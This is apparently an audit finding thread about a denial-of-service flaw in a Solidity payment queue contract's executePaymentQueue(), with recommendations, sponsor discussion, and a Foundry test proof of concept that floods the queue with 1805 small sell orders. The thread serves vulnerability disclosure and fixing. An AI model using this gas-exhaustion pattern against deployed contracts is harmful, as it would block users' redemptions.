Denial of Service via Unbounded `_queue` Growth in `executePaymentQueue()`

[MehdiKarimi81]

Summary

The executePaymentQueue() function in PP_Queue_ManualExecution_v1 is vulnerable to a Denial-of-Service (DoS) attack due to unbounded growth of the _queue linked list.

A malicious actor can repeatedly submit redeem requests with small or dust amounts, resulting in numerous entries being added to _queue. Because executePaymentQueue() attempts to iterate over every item in _queue and execute the order, the function’s gas consumption grows linearly with the number of items in the _queue.

Once the _queue grows large enough, the function will consistently run out of gas, making it inaccessible thereby orders can't be executed.

Recommendation

1. Bound the iteration in executePaymentQueue():

   • Process up to a maximum number of orders per call.

2. Rate-limit or filter spam requests:

   • Reject extremely small or dust-value orders.
   • Implement minimum thresholds per token or per user

[Zitzak]

Thank you for your finding @MehdiKarimi81. As it currently stands, the creation of payment orders, which are converted into queue elements, is currently permissioned through whitelisting in the FM_PC_Oracle_Redeeming_v1 contract. Because of that reason I don't see how someone can DoS attack the contract by adding payment orders to the queue.

If we were to bound the execution of the queue to a certain number of queue elements, what would be your suggestion ser?

[MehdiKarimi81]

Thank you for your finding @MehdiKarimi81. As it currently stands, the creation of payment orders, which are converted into queue elements, is currently permissioned through whitelisting in the FM_PC_Oracle_Redeeming_v1 contract. Because of that reason I don't see how someone can DoS attack the contract by adding payment orders to the queue.

If we were to bound the execution of the queue to a certain number of queue elements, what would be your suggestion ser?

1 - It can also happen through normal user interactions, when number of orders in the queue is large enough ( users create redeem requests normally ) this can happen without an attack.
2 - In my opinion whitelisted users should not act maliciously since they're whitelisted to perform specified interactions, however it heavily depends on your trust level to whitelisted users.

You can add a parameter to executePaymentQueue to specify the number of orders to execute in the underlying call by the caller module.

[leeftk]

It can also happen through normal user interactions, when number of orders in the queue is large enough ( users create redeem requests normally ) this can happen without an attack.

In regards to this can we create a POC to see what this number actually is? I curious how large the amount of orders would be

In regards to the second point I think that this trust assumption makes the likelihood of this lower which may not actually be worth making any changes.

[MehdiKarimi81]

This is the PoC. In this case, the order execution was reverted when the number of orders reached 1,805 due to out of gas.

    function test_DoSOrderExecution()
        public
    {
        _init();
        //--------------------------------------------------------------------------
        // Buy Tokens
        //--------------------------------------------------------------------------

        // Setup oracle price
        uint issuanceAndRedemptionPrice = 1e6;
        vm.prank(priceSetter);
        permissionedOracle.setIssuanceAndRedemptionPrice(
            issuanceAndRedemptionPrice, issuanceAndRedemptionPrice
        );

        // Prepare buy conditions
        uint buyAmount = 1000e6;
        _prepareBuyConditions(whitelistedUser, buyAmount);

        //--------------------------------------------------------------------------

        // Get expected issuance tokens in return
        uint expectedIssuedTokens =
            fundingManager.calculatePurchaseReturn(buyAmount);

        // Execute buy
        vm.startPrank(whitelistedUser);
        fundingManager.buy(buyAmount, expectedIssuedTokens);
        vm.stopPrank();

        //--------------------------------------------------------------------------
        // Post-buy assertions

        // Verify user received issuance tokens
        assertEq(
            issuanceToken.balanceOf(whitelistedUser),
            expectedIssuedTokens,
            "User should have received the right amount of issuance tokens"
        );

        //--------------------------------------------------------------------------
        // Sell Tokens
        //--------------------------------------------------------------------------

        uint sellAmount = expectedIssuedTokens / 1805;

        // Get expected issuance tokens in return
        uint expectedRedeemTokens =
            fundingManager.calculateSaleReturn(sellAmount);

        // Record logs before the transaction to assert the data from the event
        vm.recordLogs();

        // Execute sell
        vm.startPrank(whitelistedUser);

        uint256 i;
        while (i < 1805 ) {
            fundingManager.sell(sellAmount, 1);
            i++;
        }
        vm.stopPrank();

        //--------------------------------------------------------------------------
        // Execute Queue
        //--------------------------------------------------------------------------

        vm.startPrank(queueExecutor);
        fundingManager.executeRedemptionQueue();

    }

[leeftk]

@Zitzak what do you think? POC shows that anything over 1805 addresses will DOS the contract what is the current context of how this contract will be used or how many users are expected to be whitlisted? Is this number high enough or should we consider one of the recommendations proposed by @MehdiKarimi81

[Zitzak]

I will be reaching out to the client to validate if these numbers are expected. Will keep everyone updated. Thank you @MehdiKarimi81 @leeftk

[Zitzak]

I brought it up internally and we are going with your recommendation @MehdiKarimi81 to bound the iteration. Thank you for your find ser

cc @leeftk

[MehdiKarimi81]

I brought it up internally and we are going with your recommendation @MehdiKarimi81 to bound the iteration. Thank you for your find ser

cc @leeftk

Let me know if you need any help for the fix.

[Zitzak]

Pasting a copy from a discussion on slack, which resulted from me trying to reproduce the POC. Fyi @MehdiKarimi81 @leeftk

TLDR: The POC was setup wrong, as it reverted when actually adding elements to the queue. Nonetheless, the finding is failed as the execution of the queue does result in running out of gas and actually quite a lot earlier